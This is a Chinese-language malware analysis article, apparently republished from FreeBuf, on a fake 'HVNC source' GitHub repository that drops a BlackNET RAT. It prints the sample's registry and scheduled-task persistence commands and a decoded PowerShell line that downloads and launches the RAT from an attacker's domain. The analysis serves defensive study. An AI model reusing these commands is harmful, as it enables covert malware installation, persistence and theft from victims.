前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >伪装成HVNC源码的恶意软件分析

伪装成HVNC源码的恶意软件分析

作者头像
FB客服
发布2022-11-14 15:07:13
6820
发布2022-11-14 15:07:13
举报
文章被收录于专栏:FreeBuf

起因

网上冲浪的时候,看到篇帖子说Pandora Hvnc的源码泄露了,于是去github上一搜发现一堆疑似源码的仓库,并且大多数都有十个以上的start,愉快的clone下来,发现Hidden Vnc Full Not pasted.sln的文件杀软报毒了。类型是屏幕保护程序,图标也不太对劲,于是对其分析一波。

前置程序分析

一级程序

通过分析知道,此程序的后缀为scr,但用了FileSpoofer技术显示了假的扩展名(详见参考链接1)。

拖入die,显示为.net程序。

拖入dnspy,程序被简单混淆,直接使用de4dot反混淆后再次打开,其中Main函数:

全部字符串进行base64加密,进行动态调试分析:

Class0.smethod_3():

首先判断程序是否为

C:\Users\xxxxx\AppData\Roaming\WindowsDefenderScreen\WindowsDefenderScreen.exe,如果不是则创建相关路径,关闭相关程序并复制文件到此目录。

然后运行PowerShell命令进行开机启动设置:

代码语言:javascript
复制
代码语言:javascript
复制
"Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'WindowsDefenderScreen';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'WindowsDefenderScreen' -Value '""C:\Users\xxxxx\AppData\Roaming\WindowsDefenderScreen\WindowsDefenderScreen.exe""' -PropertyType 'String'"

(向右滑动,查看更多)

判断是否为Administrator权限,根据权限不同,利用任务计划进行权限维持

代码语言:javascript
复制


是Administrator权限:


cmd /C schtasks /create /tn \WindowsDefenderScreen /tr "C:\Users\xxxxx\AppData\Roaming\WindowsDefenderScreen\WindowsDefenderScreen.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
(向右滑动,查看更多)


非Administrator权限:



代码语言:javascript
复制
cmd /C schtasks /create /tn \WindowsDefenderScreen /tr "C:\Users\xxxxx\AppData\Roaming\WindowsDefenderScreen\WindowsDefenderScreen.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /f

(向右滑动,查看更多)

代码语言:javascript
复制

接下来进入正常执行流程:

首先通过GetManifestResourceStream获取rZJsQDE9Fv的资源文件,然后对资源文件进行解密,用的AES算法,其中密钥为zEP2yn51xz,salt为{26,20,202,234,136,123,69,47},模式为CBC,具体可以看下图:

解密后会通过注入到

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe运行,这里直接将解密数据提取分析。

二级程序

上面提取出来的程序如下:

此程序主要是通过ShellExecuteA与EnumResourceNamesA释放并打开 C:\Users\xxxxx\AppData\Roaming\HYPERVISOR.SLN

C:\Users\xxxxx\AppData\Roaming\WINDOWSDEFENDERSCREEN.EXE造成是正常Visual Studio工程的假象。

三级与四级

二级程序释放的新的WINDOWSDEFENDERSCREEN.EXE是一个.net程序,程序逻辑和第一个.net程序完全一样只是资源文件变了,提取出四级程序,和二级程序一样释放资源文件这次一共释放了10个.net文件:

每个文件都是使用PowerShell运行base64编码后的代码,以BLACK.exe为例:

解码后代码:

代码语言:javascript
复制
代码语言:javascript
复制
<#ytg#>Start-Sleep -Seconds 10;(New-Object System.Net.WebClient).DownloadFile('https://zenginlerclubmuck.xyz/DontDelete/Blacknet/l/blacknet%20L.exe', <#gan#> (Join-Path <#iya#> -Path $env:AppData <#gqq#> -ChildPath 'Black.exe'))<#gld#>; Start-Process -FilePath <#jce#> (Join-Path -Path $env:AppData <#xtl#> -ChildPath 'Black.exe')<#ews#>

(向右滑动,查看更多)

代码语言:javascript
复制

通过网络下载远控程序。

前置程序利用了大量的程序间调用,意图躲避杀软:

远程控制分析

zenginlerclubmuck.xyz的网站已经连接不上了,只能查到相关缓存。

通过一顿查找找到了

https://zenginlerclubmuck.xyz/DontDelete/Blacknet/p/black P.exe的文件缓存。

又是一个.net程序,de4dot能识别为Babel.Net但无法反混淆,在dnspy中查看类型引用,发现GZipStream,猜测用来解压缩Payload,便在此处下断点进行动态调试,在断点处停止后,代码已经出来了。

这里CheckFile 是将文件放在

C:\Users\xxxxxx\AppData\Roaming\Windows Security\Windows Security.exe 并添加开机自启。

后面通过Gzip解压缩Payload,直接提取rawAssembly与array3,主要恶意程序在array3中。

可以知道这个程序包括了虚拟机判断,屏幕截图,键盘记录,凭据窃取,DDOS等功能。

通过对其特征判断,很明显这是基于BlackNET RAT制作恶意程序,对详细技术感兴趣的可以去看参考链接中的2,3。

参考链接:

https://github.com/henriksb/ExtensionSpoofer https://labs.k7computing.com/index.php/dark-side-of-blacknet-rat/ https://labs.k7computing.com/index.php/dark-side-of-blacknet-rat-part-2/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-11-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 起因
  • 前置程序分析
    • 一级程序
    • (向右滑动,查看更多)
    • (向右滑动,查看更多)
      • 二级程序
        • 三级与四级
        • (向右滑动,查看更多)
        • 远程控制分析
        • 参考链接:
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档